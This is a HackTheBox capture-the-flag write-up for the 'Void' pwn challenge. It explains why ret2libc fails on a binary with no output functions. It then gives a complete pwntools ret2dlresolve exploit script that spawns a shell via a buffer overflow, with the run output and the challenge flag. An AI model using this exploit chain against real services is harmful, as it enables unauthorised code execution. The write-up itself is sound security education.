$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Exploit a 64-bit binary with buffer overflow but no output functions (only read() in PLT). Solution: Use ret2dlresolve technique via pwntools Ret2dlresolvePayload to craft fake ELF dynamic linker structures that trick _dl_runtime_resolve into resolving system("/bin/sh"), bypassing the need for a libc leak.
64-bit ELF binary with a simple buffer overflow vulnerability. The challenge is that there are no output functions (puts/printf/write) in the binary - only read(). This makes traditional libc leaking impossible.
Binary properties:
The vulnerable function is trivial:
void vuln() { char data[64]; read(0, data, 200); // reads 200 bytes into 64-byte buffer }
Offset calculation:
The problem: Without output functions, we cannot leak libc addresses for a traditional ret2libc attack.
ret2csu + partial GOT overwrite to system() - Tried overwriting read@got with system using 3-byte partial overwrite. Theoretically should work but failed after 300+ attempts due to ASLR randomization.
ret2csu + one-gadget (0xc9611) - One-gadget constraints weren't satisfied in the execution context.
SROP - Too complex for this challenge, requires specific register setup.
ret2dlresolve is the perfect technique when:
read() to write arbitrary data to memoryThe dynamic linker resolves function addresses lazily. When a function is called for the first time, it goes through PLT -> GOT -> _dl_runtime_resolve(). We can craft fake structures (Elf64_Sym, Elf64_Rela) that tell the linker to resolve system instead of a legitimate function.
read(0, bss_area) to write our crafted dlresolve structuressystem("/bin/sh")#!/usr/bin/env python3 """ Void - HackTheBox PWN Challenge ret2dlresolve exploit This technique tricks the dynamic linker into resolving a function that is not linked to the binary (like system). """ from pwn import * import sys context.binary = "./challenge/void" context.log_level = "info" elf = context.binary # Build ret2dlresolve payload rop = ROP(elf) dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh\0"]) # ROP chain: # 1. read(0, dlresolve.data_addr) - read the dlresolve payload to memory # 2. ret (for stack alignment) # 3. ret2dlresolve - trigger the resolution and call system("/bin/sh") rop.read(0, dlresolve.data_addr) rop.raw(rop.ret[0]) # Stack alignment rop.ret2dlresolve(dlresolve) raw_rop = rop.chain() print(f"[*] ROP chain length: {len(raw_rop)}") print(f"[*] dlresolve payload length: {len(dlresolve.payload)}") print(f"[*] dlresolve data_addr: {hex(dlresolve.data_addr)}") # Connect if len(sys.argv) > 1 and sys.argv[1] == "local": p = elf.process() else: p = remote("83.136.250.108", 48538) # Send overflow + ROP chain # Offset to return address is 72 bytes (64 buffer + 8 saved rbp) payload = b"A" * 72 + raw_rop print(f"[*] Sending payload ({len(payload)} bytes)...") p.send(payload) sleep(0.5) # Send dlresolve payload (will be read by the read() call in ROP chain) print(f"[*] Sending dlresolve payload...") p.send(dlresolve.payload) sleep(0.5) print("[+] Trying to get shell...") p.sendline(b"id") sleep(0.5) try: response = p.recv(timeout=2) print(f"[+] Response: {response}") if b"uid" in response: print("[+] Got shell!") p.sendline(b"cat flag*") print(p.recv(timeout=2)) p.interactive() except: print("[-] No response, trying interactive...") p.interactive()
[*] ROP chain length: 88
[*] dlresolve payload length: 97
[*] dlresolve data_addr: 0x404e00
[+] Opening connection to 83.136.250.108 on port 48538: Done
[*] Sending payload (160 bytes)...
[*] Sending dlresolve payload...
[+] Response: b'uid=100(ctf) gid=101(ctf) groups=101(ctf)\n'
[+] Got shell!
b'HTB{pwnt00l5_h0mep4g3_15_u54ful}\n'
Use ret2dlresolve when:
read() or similar input function in PLTRet2dlresolvePayload class - no need to manually craft ELF structures$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar